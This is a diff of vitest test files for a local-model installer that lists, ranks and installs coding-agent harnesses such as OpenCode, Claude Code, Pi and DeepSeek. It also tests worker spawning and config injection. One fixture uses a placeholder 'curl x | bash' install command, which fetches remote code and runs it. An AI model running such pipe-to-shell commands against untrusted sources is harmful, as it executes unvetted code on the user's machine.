harnesses: [{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'installing', actions: [] }],
actions: ['stop', 'remove'],
});
for (const kind of ['local', 'local:opencode']) {
const run = spawn(kind, none);
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toMatch(/no local model to spawn on \(no-agent\)/);
expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
}
});
it('a worker whose mark never shows is deleted, and the message names the agent', () => {
const run = runSkill('spawn_worker summ local:pi', {
'lm-get': WITH_AGENTS,
'quick-start': QUICK_START,
'wait-output': NOT_MATCHED,
delete: JSON.stringify({ success: true, data: {} }),
});
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toMatch(/\(pi\) never drew 'extended-keys'/);
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
'GET lm-get',
'POST quick-start',
'GET wait-output',
'DELETE delete',
]);
});
it('spawn_workers takes name:local:agent in a mixed fleet', () => {
const run = runSkill('spawn_workers a:local:pi', {
'lm-get': WITH_AGENTS,
'quick-start': QUICK_START,
'wait-output': MATCHED,
});
expect(run.calls.map((call) => call.key)).toContain('quick-start');
const body = JSON.parse(run.calls.find((call) => call.key === 'quick-start')!.d);
expect([body.caseName, body.mode]).toEqual(['a', 'pi']);
});
});
it('runs a claude harness through the claude readiness path (hooks vetted, shift+tab)', () => {
@@ -526,6 +773,37 @@ describe.skipIf(!hasJq)('preamble sendmark', () => {
expect(run.calls.some((call) => call.key === 'delete')).toBe(false);
});
// Seen on a Mac (2026-11-12): Claude Code runs zsh there, and zsh hands every subshell the same
// $RANDOM. A lead sent two workers in ONE folder their tasks in the same second, both prompts
// named the same answer file, and one worker's summary replaced the other's.
it('gives each worker its own token and answer file, in the same second and with the same $RANDOM', () => {
const other = 'b7e1c2d3-0000-4000-8000-00000000beef';
const run = runSkill(
withSession(
// Two calls at once that draw the same number: what zsh does by itself. bash reseeds its
// generator in every subshell, so here the variable is made a plain one that always reads 7.
`unset RANDOM; RANDOM=7
( sendmark ${SID} 'count to three' 1 >/dev/null ) &
( sendmark ${other} 'count to three' 1 >/dev/null ) &
wait; true`
),
{ input: delivered, 'wait-output': NOT_MATCHED, 'wait-output.delay': '1' }
);
expect(run.stderr).toBe('');
const tokens = run.calls
.filter((call) => call.key === 'input')
.map((call) => /codeman-answer-(m[0-9a-f]+)\.md/.exec((JSON.parse(call.d) as { input: string }).input)?.[1] ?? '')
.sort();
expect(tokens).toHaveLength(2);
// m, eight digits of the second, four of $RANDOM, six of the worker's id.
for (const token of tokens) expect(token).toMatch(/^m[0-9a-f]{18}$/);
// The same draw in both calls...
expect(tokens.map((token) => token.slice(9, 13))).toEqual(['0007', '0007']);
// ...and still two files, told apart by the workers' own ids.
expect(tokens[0]).not.toBe(tokens[1]);
expect(tokens.map((token) => token.slice(13)).sort()).toEqual(['b7e1c2', 'eca000']);
});
it('reads the answer file without a marker once it held still for a round (a full-screen pane draws the marker in pieces)', () => {
// Measured on opencode 1.3.0: a reply streamed a character or two at a time reaches the
// stripped stream as D, spinner, O, spinner, N, ... and never matches, while the screen
+21 -3
View File
@@ -194,6 +194,24 @@ describe('buildCustomModelInjection', () => {
expect(parsed.providers.custom.models).toEqual([{ id: 'qwen3' }]); // array, NOT keyed by id
});
it('pi: the model entry carries the endpoint window and a reply share of it, or pi takes the model for a 128k one', () => {
const models = (contextLength?: number) => {
const result = buildCustomModelInjection(entryOrThrow('pi'), endpoint, 'qwen3.6:35b-a3b', contextLength);
if (result.kind !== 'configDir') throw new Error('unreachable');
return JSON.parse(result.files[0].content).providers.custom.models;
};
// The full window, and 8192 reply tokens at most (measured on pi 1.5.2: the request then
// carries max_tokens 8192 instead of its own 16384).
expect(models(65536)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 65536, maxTokens: 8192 }]);
expect(models(131072.9)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 131072, maxTokens: 8192 }]);
// A small window keeps three quarters for the prompt.
expect(models(16384)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 16384, maxTokens: 4096 }]);
// Unknown stays unknown: no limit is invented.
for (const contextLength of [undefined, NaN, 0, -1, Infinity]) {
expect(models(contextLength), String(contextLength)).toEqual([{ id: 'qwen3.6:35b-a3b' }]);
}
});
it('omp: configDir writes .omp/agent/models.yml, redirected via HOME (verified live end-to-end)', () => {
const result = buildCustomModelInjection(entryOrThrow('omp'), endpoint, 'qwen3');
if (result.kind !== 'configDir') throw new Error('unreachable');
@@ -239,9 +257,9 @@ describe('buildCustomModelInjection', () => {
// The patch references the DEDICATED var by name, never dsh's own DEEPSEEK_API_KEY:
// dsh's llm-deepseek/web-search rows read that too and would leak this key to
// api.deepseek.com on an in-session /model switch back to the official route.
expect(patch.find((row: { id: string }) => row.id === 'llm-pi-ai').config.providers['codeman-custom'].apiKeyEnv).toBe(
'CODEMAN_CUSTOM_MODEL_API_KEY'
);
expect(
patch.find((row: { id: string }) => row.id === 'llm-pi-ai').config.providers['codeman-custom'].apiKeyEnv
).toBe('CODEMAN_CUSTOM_MODEL_API_KEY');
expect(result.files[0].content).not.toContain('DEEPSEEK_API_KEY');
expect(patch.find((row: { id: string }) => row.id === 'dsh-tui').config.model).toBe('qwen3');
});
+21 -5
View File
@@ -294,12 +294,28 @@ describe('the stock catalogue', () => {
});
});
it('lists its harnesses as data rows, one of them gated', () => {
it('lists its harnesses as data rows: four, none gated, none below the smallest context a model offers', () => {
expect(STOCK_LOCAL_MODEL_CATALOG.harnesses).toEqual([
{ cli: 'opencode', minContext: 65536, rank: 3 },
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
{ cli: 'pi', minContext: 32768, rank: 1, gated: true },
{ cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' },
{ cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true },
{ cli: 'pi', minContext: 65536, rank: 2 },
{ cli: 'deepseek', minContext: 65536, rank: 1 },
]);
// No harness asks for less than a model can be offered at: nothing below 65536 was run.
const smallest = Math.min(...STOCK_LOCAL_MODEL_CATALOG.models.flatMap((model) => model.contexts));
for (const harness of STOCK_LOCAL_MODEL_CATALOG.harnesses) {
expect(harness.minContext).toBeGreaterThanOrEqual(smallest);
}
});
it('a readiness mark is one literal without white space', () => {
const spaced = copy();
spaced.harnesses[0] = { ...spaced.harnesses[0], readyMark: '/ commands' };
expect(issuesOf(spaced)).toHaveLength(1);
expect(issuesOf(spaced)[0]).toMatch(/^harnesses\.0\.readyMark: /);
const empty = copy();
empty.harnesses[0] = { ...empty.harnesses[0], readyMark: '' };
expect(issuesOf(empty)[0]).toMatch(/^harnesses\.0\.readyMark: /);
});
it('names the oldest macOS and its schema version', () => {
@@ -534,7 +550,7 @@ describe('the schema, across rows', () => {
it('refuses a harness listed twice and a repeated harness rank', () => {
const twice = copy();
twice.harnesses.push({ cli: twice.harnesses[0].cli, minContext: 32768, rank: 9 });
expect(issuesOf(twice)).toEqual(['harnesses.3.cli: a harness may be listed only once']);
expect(issuesOf(twice)).toEqual(['harnesses.4.cli: a harness may be listed only once']);
const sameRank = copy();
sameRank.harnesses[1] = { ...sameRank.harnesses[1], rank: sameRank.harnesses[0].rank };
+57
View File
@@ -187,6 +187,63 @@ describe('buildHarnessFacts', () => {
expect(byCli.get('omp')).toMatchObject({ installed: false, installable: false });
});
it('a launcher is never installable: its install command leaves it with nothing to launch', async () => {
// DeepSeek Harness is the stock launcher: its command needs no administrator, and it would
// still not be startable after it (it needs a profile, which is third-party code).
const launcher = stockEntry('deepseek');
expect(launcher.discovery.launcherProfile).toBeDefined();
expect(installCommandNeedsAdmin(darwinCommand(launcher) as string)).toBe(false);
const command = vi.fn(darwinCommand);
const [missing] = await buildHarnessFacts(catalogWith(['deepseek']), {
probeInstalled: installedOnly(),
installCommandFor: command,
});
expect(missing).toMatchObject({ cli: 'deepseek', installed: false, installable: false });
expect(missing).not.toHaveProperty('installCommand');
expect(command).not.toHaveBeenCalled();
// Set up by the person: it is a harness like the others.
const [there] = await buildHarnessFacts(catalogWith(['deepseek']), { probeInstalled: installedOnly('deepseek') });
expect(there).toMatchObject({ installed: true, installable: false });
// The rule reads the entry's data, not its id: any entry with a launcher profile, and no other.
const asLauncher = (id: string): CliEntry | undefined => {
const entry = getCli(id);
return entry
? { ...entry, discovery: { ...entry.discovery, launcherProfile: launcher.discovery.launcherProfile } }
: entry;
};
const [made] = await buildHarnessFacts(catalogWith(['opencode']), {
getCli: asLauncher,
probeInstalled: installedOnly(),
installCommandFor: darwinCommand,
});
expect(made.installable).toBe(false);
});
it('readyMark: the registry’s composer mark, only when it is one literal without white space', async () => {
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'deepseek']), {
probeInstalled: installedOnly(),
});
const byCli = new Map(facts.map((f) => [f.cli, f]));
expect(byCli.get('claude')?.readyMark).toBe(stockEntry('claude').capabilities.composerReadyMark);
expect(byCli.get('deepseek')?.readyMark).toBe('❯');
// The registry declares none for opencode: the catalogue row carries the measured one.
expect(stockEntry('opencode').capabilities.composerReadyMark).toBeUndefined();
expect(byCli.get('opencode')).not.toHaveProperty('readyMark');
const spaced = (id: string): CliEntry | undefined => {
const entry = getCli(id);
return entry
? { ...entry, capabilities: { ...entry.capabilities, composerReadyMark: '/ commands · ? help' } }
: entry;
};
const [fact] = await buildHarnessFacts(catalogWith(['opencode']), {
getCli: spaced,
probeInstalled: installedOnly(),
});
expect(fact).not.toHaveProperty('readyMark');
});
it('installable is false without an install command, for a sudo command, and for a custom entry', async () => {
const command = vi.fn<(entry: CliEntry) => string | undefined>();
command.mockReturnValueOnce(undefined);
+200
View File
@@ -16,6 +16,7 @@ import { describe, expect, it } from 'vitest';
import {
allowedActions,
buildInstallError,
buildHarnessRows,
buildInstallView,
buildLibraryRows,
formatInstallMessage,
@@ -39,6 +40,8 @@ import {
LOCAL_MODEL_ERROR_NEXT,
LOCAL_MODEL_INSTALL_LABELS,
LOCAL_MODEL_INSTALL_STEPS,
type HarnessFact,
type LocalHarnessEntry,
type LocalModelAction,
type LocalModelErrorCode,
type LocalModelInstallState,
@@ -637,6 +640,7 @@ describe('buildInstallView', () => {
},
folder: '/Users/me/.codeman/local-model',
library: [],
harnesses: [],
actions: ['install'],
});
});
@@ -677,6 +681,7 @@ describe('buildInstallView', () => {
folder: '/Users/me/.codeman/local-model',
// The checked model of an earlier install: listed, with nothing to do while a job runs.
library: [{ ...OTHER_ROW, actions: [] }],
harnesses: [],
actions: ['cancel'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
context: 131072,
@@ -793,6 +798,9 @@ describe('buildInstallView', () => {
runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' },
folder: '/Users/me/.codeman/local-model',
library: [ENTRY_ROW, OTHER_ROW],
// The live facts name no coding agents here (unknown): none is listed, and a session is
// still offered.
harnesses: [],
actions: ['start-session', 'stop', 'install', 'use', 'remove'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
context: 131072,
@@ -1089,6 +1097,198 @@ describe('buildLibraryRows', () => {
});
});
describe('buildHarnessRows: the coding agents of the model in use', () => {
const ROWS: LocalHarnessEntry[] = [
{ cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' },
{ cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true },
{ cli: 'pi', minContext: 65536, rank: 2 },
{ cli: 'deepseek', minContext: 65536, rank: 1 },
{ cli: 'later', minContext: 65536, rank: 0, gated: true },
];
const fact = (cli: string, label: string, extra: Partial<HarnessFact> = {}): HarnessFact => ({
cli,
label,
installed: false,
installable: false,
acceptsModelId: () => true,
...extra,
});
const FACTS: HarnessFact[] = [
fact('opencode', 'OpenCode', { installed: true }),
fact('claude', 'Claude Code', { installed: true, readyMark: 'shift+tab' }),
fact('pi', 'Pi', { installable: true, installCommand: 'npm install -g pi' }),
// A launcher without a profile: not startable, and one command does not make it so.
fact('deepseek', 'DeepSeek', { readyMark: '❯' }),
fact('later', 'Later', { installed: true }),
];
const rows = (
state: LocalModelStateFile = SAMPLE.installed,
facts: readonly HarnessFact[] = FACTS,
memory: Parameters<typeof buildHarnessRows>[3] = {}
) => buildHarnessRows(state, { harnesses: ROWS }, facts, memory);
it('lists every harness that is not gated, the default first, then by rank, each with how it stands', () => {
expect(rows()).toEqual([
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', readyMark: '┃', actions: [] },
{
cli: 'claude',
cliLabel: 'Claude Code',
default: false,
status: 'ready',
slowFirstTurn: true,
// No mark on the catalogue row: the CLI registry's own stands.
readyMark: 'shift+tab',
actions: [],
},
{
cli: 'pi',
cliLabel: 'Pi',
default: false,
status: 'installable',
installCommand: 'npm install -g pi',
actions: ['install'],
},
{ cli: 'deepseek', cliLabel: 'DeepSeek', default: false, status: 'setup-needed', readyMark: '❯', actions: [] },
]);
});
it('is empty in every state but installed', () => {
for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
expect(rows(SAMPLE[state])).toEqual([]);
}
});
it('leaves out a harness without a fact, one the model is too small for, and one that refuses its name', () => {
const small: LocalModelStateFile = { ...SAMPLE.installed, model: { ...MODEL, context: 32768 } };
expect(rows(small)).toEqual([]);
expect(rows(SAMPLE.installed, FACTS.slice(0, 1)).map((row) => row.cli)).toEqual(['opencode']);
const picky = FACTS.map((entry) => (entry.cli === 'claude' ? { ...entry, acceptsModelId: () => false } : entry));
expect(rows(SAMPLE.installed, picky).map((row) => row.cli)).toEqual(['opencode', 'pi', 'deepseek']);
const throwing = FACTS.map((entry) =>
entry.cli === 'claude'
? {
...entry,
acceptsModelId: () => {
throw new Error('bad recipe');
},
}
: entry
);
expect(rows(SAMPLE.installed, throwing).map((row) => row.cli)).toEqual(['opencode', 'pi', 'deepseek']);
});
it('the default is the agent of the installation while it can be started, else the first that can', () => {
const withClaude: LocalModelStateFile = { ...SAMPLE.installed, cli: { id: 'claude', label: 'Claude Code' } };
expect(rows(withClaude).map((row) => [row.cli, row.default])).toEqual([
['claude', true],
['opencode', false],
['pi', false],
['deepseek', false],
]);
// The agent of the installation was uninstalled: a client that names none starts another.
const gone = FACTS.map((entry) =>
entry.cli === 'opencode'
? fact('opencode', 'OpenCode', { installable: true, installCommand: 'curl x | bash' })
: entry
);
expect(rows(SAMPLE.installed, gone).map((row) => [row.cli, row.default, row.status])).toEqual([
['claude', true, 'ready'],
['opencode', false, 'installable'],
['pi', false, 'installable'],
['deepseek', false, 'setup-needed'],
]);
// Nothing can be started: the default stays the agent of the installation.
const none = FACTS.map((entry) => fact(entry.cli, entry.label, { installable: true, installCommand: 'x' }));
expect(rows(SAMPLE.installed, none).find((row) => row.default)?.cli).toBe('opencode');
});
it('while one installer runs: that row says installing with its command, and no other row offers an install', () => {
const both = FACTS.map((entry) =>
entry.cli === 'deepseek' ? fact('deepseek', 'DeepSeek', { installable: true, installCommand: 'y' }) : entry
);
const during = rows(SAMPLE.installed, both, { running: 'pi' });
expect(during.find((row) => row.cli === 'pi')).toMatchObject({
status: 'installing',
installCommand: 'npm install -g pi',
actions: [],
});
expect(during.find((row) => row.cli === 'deepseek')).toMatchObject({ status: 'installable', actions: [] });
// The installer has landed and the memory has not caught up: the fact wins.
const landed = both.map((entry) => (entry.cli === 'pi' ? fact('pi', 'Pi', { installed: true }) : entry));
expect(rows(SAMPLE.installed, landed, { running: 'pi' }).find((row) => row.cli === 'pi')).toMatchObject({
status: 'ready',
});
});
it("a failed install stays on its row with the installer's last words, until the agent is there", () => {
const failed = { failed: { pi: { detail: 'npm ERR! network' } } };
expect(rows(SAMPLE.installed, FACTS, failed).find((row) => row.cli === 'pi')).toMatchObject({
status: 'installable',
actions: ['install'],
error: {
message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'Pi' } },
detail: 'npm ERR! network',
},
});
const there = FACTS.map((entry) => (entry.cli === 'pi' ? fact('pi', 'Pi', { installed: true }) : entry));
expect(rows(SAMPLE.installed, there, failed).find((row) => row.cli === 'pi')).not.toHaveProperty('error');
});
it('the view: an agent that can be started offers a session exactly when the model does', () => {
const harnesses = rows();
const up = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'same', harnesses });
expect(up.harnesses.map((row) => [row.cli, row.actions])).toEqual([
['opencode', ['start-session']],
['claude', ['start-session']],
['pi', ['install']],
['deepseek', []],
]);
expect(up.actions).toContain('install-agent');
expect(up.actions).toContain('start-session');
// A stopped runtime: nothing is started, an agent can still be installed.
const down = buildInstallView(SAMPLE.installed, { ...LIVE, running: false, harnesses });
expect(down.harnesses.map((row) => row.actions)).toEqual([[], [], ['install'], []]);
expect(down.actions).not.toContain('start-session');
expect(down.actions).toContain('install-agent');
// The live facts are not changed by the view.
expect(harnesses[0].actions).toEqual([]);
});
it('the view: with no agent that can be started no session is offered, and `cli` names the default row', () => {
const none = FACTS.map((entry) => fact(entry.cli, entry.label, { installable: true, installCommand: 'x' }));
const view = buildInstallView(SAMPLE.installed, {
...LIVE,
running: true,
digest: 'same',
harnesses: rows(SAMPLE.installed, none),
});
expect(view.actions).not.toContain('start-session');
expect(view.actions).toContain('install-agent');
expect(view.cli).toBe('opencode');
const gone = FACTS.map((entry) =>
entry.cli === 'opencode' ? fact('opencode', 'OpenCode', { installable: true, installCommand: 'x' }) : entry
);
const other = buildInstallView(SAMPLE.installed, {
...LIVE,
running: true,
digest: 'same',
harnesses: rows(SAMPLE.installed, gone),
});
// What an older client reads as "the agent to start": one that is there.
expect([other.cli, other.cliLabel]).toEqual(['claude', 'Claude Code']);
expect(other.actions).toContain('start-session');
});
it('install-agent is an action of the installed state only', () => {
for (const state of Object.keys(INSTALL_STATE_TABLE) as LocalModelInstallState[]) {
expect(INSTALL_STATE_TABLE[state].actions.includes('install-agent')).toBe(state === 'installed');
}
// Listed only while a row offers it.
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true })).not.toContain('install-agent');
});
});
describe('markLibraryCandidates', () => {
const candidate = (modelId: string, context: number) => ({ modelId, context }) as Recommendation['alternatives'][0];
const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true });
+237 -2
View File
@@ -253,7 +253,9 @@ function setup(
) {
const store = memoryStore(options.state);
const world = {
agentInstalled: options.agentInstalled ?? false,
// A model that is installed was installed with its coding agent: what the world holds
// then, unless the test says the agent has gone since.
agentInstalled: options.agentInstalled ?? options.state?.state === 'installed',
runtimeOnDisk: options.runtimeOnDisk ?? false,
clock: 1_000_000,
startResult: undefined as RuntimeStartResult | undefined,
@@ -294,7 +296,22 @@ function setup(
const deps = {
readHardware: vi.fn(async () => MAC),
getCatalog: vi.fn(() => CATALOG),
buildHarnessFacts: vi.fn(async () => FACTS),
// The facts follow the world, like the real probe: an agent that is on this Mac is not
// offered for install, and one that is missing is.
buildHarnessFacts: vi.fn(
async (): Promise<HarnessFact[]> =>
FACTS.map((fact) =>
world.agentInstalled
? {
cli: fact.cli,
label: fact.label,
installed: true,
installable: false,
acceptsModelId: fact.acceptsModelId,
}
: fact
)
),
recommend: vi.fn(() => recommendation(world.agentInstalled)),
modelFitsBudget: vi.fn(() => true),
isRuntimeInstalled: vi.fn(async () => world.runtimeOnDisk),
@@ -1771,6 +1788,7 @@ describe('Remove', () => {
library: [],
// Measured again after the Remove: the store is empty here.
store: { bytes: 0, gb: '0.0' },
harnesses: [],
actions: ['install'],
});
expect(h.store.get()).toMatchObject({ schema: 1, state: 'idle' });
@@ -3035,6 +3053,23 @@ describe('use: the switch to a checked model', () => {
expect(withoutPi.store.get().cli).toEqual({ id: 'opencode', label: 'OpenCode' });
});
it('with neither of the two installed it takes another agent the model can be run with that is on this Mac', async () => {
const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: false });
// OpenCode has gone; Claude Code, the catalogue's other harness, is there.
h.deps.buildHarnessFacts.mockImplementation(async () => [
FACTS[0],
{ cli: 'claude', label: 'Claude Code', installed: true, installable: false, acceptsModelId: () => true },
]);
await h.service.boot();
expect((await h.service.use({ modelId: GPT.id }, ADMIN)).ok).toBe(true);
await h.service.idle();
expect(h.store.get()).toMatchObject({
state: 'installed',
model: { id: GPT.id },
cli: { id: 'claude', label: 'Claude Code' },
});
});
it('with no coding agent of the two installed it is refused, in one sentence, and nothing starts', async () => {
const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: false });
await h.service.boot();
@@ -3100,6 +3135,206 @@ describe('use: the switch to a checked model', () => {
});
});
describe('installAgent: one more coding agent beside an installed model', () => {
/** An installed, running model whose coding agent is not on this Mac. */
async function withoutAgent() {
const h = setup({ state: INSTALLED, runtimeOnDisk: true, agentInstalled: false });
await h.service.boot();
return h;
}
it('the view offers it: the agent with its literal command, no session, and the state untouched', async () => {
const h = await withoutAgent();
const view = await h.service.view();
expect(view.state).toBe('installed');
expect(view.harnesses).toEqual([
{
cli: 'opencode',
cliLabel: 'OpenCode',
default: true,
status: 'installable',
installCommand: INSTALL_COMMAND,
actions: ['install'],
},
]);
expect(view.actions).toContain('install-agent');
// Nothing can be started, so no session is offered: the window says "Install OpenCode".
expect(view.actions).not.toContain('start-session');
});
it('answers once the installer is started, runs the stock command in the shared slot, and ends on an agent that can be started', async () => {
const h = await withoutAgent();
let finish: () => void = () => {};
h.deps.runInstallCommand.mockImplementation(
() =>
new Promise((resolve) => {
finish = () => {
h.world.agentInstalled = true;
resolve({ code: 0, output: 'opencode installed\n', timedOut: false, aborted: false });
};
})
);
const before = structuredClone(h.store.get());
const started = await h.service.installAgent({ cli: 'opencode' }, ADMIN);
expect(started.ok).toBe(true);
if (!started.ok) throw new Error('unreachable');
// While it runs: the row says so, nothing else is offered for it, and the model is as it was.
expect(started.view.state).toBe('installed');
expect(started.view.harnesses[0]).toMatchObject({
status: 'installing',
installCommand: INSTALL_COMMAND,
actions: [],
});
expect(started.view.actions).not.toContain('install-agent');
await vi.waitFor(() => expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1));
const [command, options] = h.deps.runInstallCommand.mock.calls[0] as unknown as [string, { signal: AbortSignal }];
expect(command).toBe(INSTALL_COMMAND);
expect(options.signal).toBeInstanceOf(AbortSignal);
expect(h.deps.tryBeginCliInstall).toHaveBeenCalledWith('opencode');
// Not a job: a session on the model is still not refused.
expect(await h.service.launchRefusal('local-ollama')).toBeUndefined();
finish();
await h.service.idle();
const view = await h.service.view();
expect(view.harnesses).toEqual([
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', actions: ['start-session'] },
]);
expect(view.actions).toContain('start-session');
expect(h.calls).toContain('release');
expect(h.deps.audit).toHaveBeenCalledWith(
expect.objectContaining({
admin: ADMIN.username,
action: 'cli_install',
target: 'opencode',
detail: expect.objectContaining({ command: INSTALL_COMMAND, exitCode: 0, via: 'local-model' }),
})
);
// The state file never heard of it (the pid and the time of a write aside, nothing moved).
expect(h.store.get()).toEqual(before);
});
it('an installer that fails leaves the model installed and usable, and its last words on the row', async () => {
const h = await withoutAgent();
h.deps.runInstallCommand.mockResolvedValue({
code: 1,
output: 'npm ERR! network request failed',
timedOut: false,
aborted: false,
});
expect((await h.service.installAgent({ cli: 'opencode' }, ADMIN)).ok).toBe(true);
await h.service.idle();
const view = await h.service.view();
expect(view.state).toBe('installed');
expect(view).not.toHaveProperty('error');
expect(view.harnesses[0]).toMatchObject({
status: 'installable',
actions: ['install'],
error: {
message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'OpenCode' } },
detail: 'npm ERR! network request failed',
},
});
expect(h.store.get().state).toBe('installed');
expect(await h.service.launchRefusal('local-ollama')).toBeUndefined();
// Try again: the old failure is gone the moment the new attempt starts, and it can work.
h.deps.runInstallCommand.mockImplementation(async () => {
h.world.agentInstalled = true;
return { code: 0, output: '', timedOut: false, aborted: false };
});
const again = await h.service.installAgent({ cli: 'opencode' }, ADMIN);
if (!again.ok) throw new Error('unreachable');
expect(again.view.harnesses[0]).not.toHaveProperty('error');
await h.service.idle();
expect((await h.service.view()).harnesses[0]).toMatchObject({ status: 'ready' });
});
it('one installer at a time: a second request while one runs is 409 job-running', async () => {
const h = await withoutAgent();
let finish: () => void = () => {};
h.deps.runInstallCommand.mockImplementation(
() =>
new Promise((resolve) => {
finish = () => resolve({ code: 1, output: 'stopped', timedOut: false, aborted: false });
})
);
expect((await h.service.installAgent({ cli: 'opencode' }, ADMIN)).ok).toBe(true);
expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toMatchObject({
ok: false,
status: 409,
conflict: { reason: 'job-running' },
});
await vi.waitFor(() => expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1));
finish();
await h.service.idle();
expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1);
});
it('an agent that is already there answers with the view and runs nothing', async () => {
const h = setup({ state: INSTALLED, runtimeOnDisk: true });
await h.service.boot();
const result = await h.service.installAgent({ cli: 'opencode' }, ADMIN);
expect(result.ok).toBe(true);
expect(h.deps.runInstallCommand).not.toHaveBeenCalled();
expect(h.deps.tryBeginCliInstall).not.toHaveBeenCalled();
});
it('refuses an agent the view does not list, and one that one command does not make startable', async () => {
const h = await withoutAgent();
// `claude` is a catalogue harness with no fact here (the registry does not offer it).
for (const cli of ['claude', 'not-a-cli']) {
expect(await h.service.installAgent({ cli }, ADMIN)).toEqual({
ok: false,
status: 400,
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotOffered },
});
}
// A launcher, or a command that needs an administrator: listed, never installed from here.
h.deps.buildHarnessFacts.mockImplementation(async () => [
{ cli: 'opencode', label: 'OpenCode', installed: false, installable: false, acceptsModelId: () => true },
]);
expect((await h.service.view()).harnesses[0]).toMatchObject({ status: 'setup-needed', actions: [] });
expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toEqual({
ok: false,
status: 400,
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'OpenCode' } },
});
expect(h.deps.runInstallCommand).not.toHaveBeenCalled();
});
it('is refused outside installed: 409 wrong-state', async () => {
for (const state of [undefined, jobAt('model', 'paused')]) {
const h = setup(state ? { state } : {});
expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toMatchObject({
ok: false,
status: 409,
conflict: { reason: 'wrong-state' },
});
expect(h.deps.runInstallCommand).not.toHaveBeenCalled();
}
});
it('a server that stops ends the installer and records nothing', async () => {
const h = await withoutAgent();
let seen: AbortSignal | undefined;
h.deps.runInstallCommand.mockImplementation((async (_command: string, options?: { signal?: AbortSignal }) => {
seen = options?.signal;
await untilAborted(options?.signal);
return { code: null, output: '', timedOut: false, aborted: true };
}) as never);
await h.service.installAgent({ cli: 'opencode' }, ADMIN);
await vi.waitFor(() => expect(seen).toBeDefined());
await h.service.shutdown();
expect(seen?.aborted).toBe(true);
await h.service.idle();
expect(h.store.get().state).toBe('installed');
// Interrupted is not failed: the row has no error.
expect((await h.service.view()).harnesses[0]).not.toHaveProperty('error');
});
});
describe('deleteLibraryModel: one model out of the store', () => {
async function twoModelsRunning() {
const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: true });
+17 -3
View File
@@ -150,7 +150,12 @@ function without(facts: HardwareFacts, ...fields: (keyof HardwareFacts)[]): Hard
}
/** Display labels of the stock harnesses, as the CLI registry would supply them. Data, not a branch. */
const HARNESS_LABELS: Record<string, string> = { opencode: 'OpenCode', claude: 'Claude Code', pi: 'Pi' };
const HARNESS_LABELS: Record<string, string> = {
opencode: 'OpenCode',
claude: 'Claude Code',
pi: 'Pi',
deepseek: 'DeepSeek',
};
/** What the server knows about one harness: installed and accepting every model id, unless overridden. */
function fact(cli: string, overrides: Partial<HarnessFact> = {}): HarnessFact {
@@ -170,7 +175,10 @@ const STOCK = getLocalModelCatalog();
/** The frozen catalogue of 2026-11-06: for the rule tests (see the file header). */
const RULES = LocalModelCatalogSchema.parse(RULES_LOCAL_MODEL_CATALOG);
/** Every harness installed, the gated one included. Both catalogues list the same three. */
/**
* Every harness installed. The stock catalogue lists four and gates none; the rules catalogue
* lists the first three of them and gates one, which is what the gate tests need.
*/
const ALL_INSTALLED: HarnessFact[] = STOCK.harnesses.map((row) => fact(row.cli));
/** A stock model row by id. */
@@ -595,9 +603,12 @@ describe('the MacBook Pro (Mac17,13: Apple M5 Pro, 48 GB)', () => {
tested: true,
needSource: 'measured',
tag: { kind: 'tested', label: 'Tested on a Mac like this' },
// Every harness of the catalogue can run it, the pick's own first, then by rank.
harnesses: [
{ cli: 'opencode', cliLabel: 'OpenCode', installed: true },
{ cli: 'claude', cliLabel: 'Claude Code', installed: true, slowFirstTurn: true },
{ cli: 'pi', cliLabel: 'Pi', installed: true },
{ cli: 'deepseek', cliLabel: 'DeepSeek', installed: true },
],
// No runtime download was named, so an install downloads the model alone.
installBytes: 23_105_798_956,
@@ -1642,9 +1653,12 @@ describe('harnesses', () => {
const hw = mac(48, 'Apple M4 Max');
it('never chooses a gated harness, even when it is the only one that could run a model', () => {
// The rule is tested on the rules catalogue, which gates one harness. The stock catalogue
// gates none since 2026-11-10; the sweep still runs on it, so a row gated again is covered.
expect(RULES.harnesses.filter((row) => row.gated).map((row) => row.cli)).toEqual(['pi']);
expect(STOCK.harnesses.filter((row) => row.gated)).toEqual([]);
for (const [, catalog] of BOTH) {
const gated = catalog.harnesses.filter((row) => row.gated).map((row) => row.cli);
expect(gated).toEqual(['pi']);
for (const swept of SWEEP) {
const result = recommend(swept, catalog, ALL_INSTALLED);
for (const candidate of rows(result)) {
+65
View File
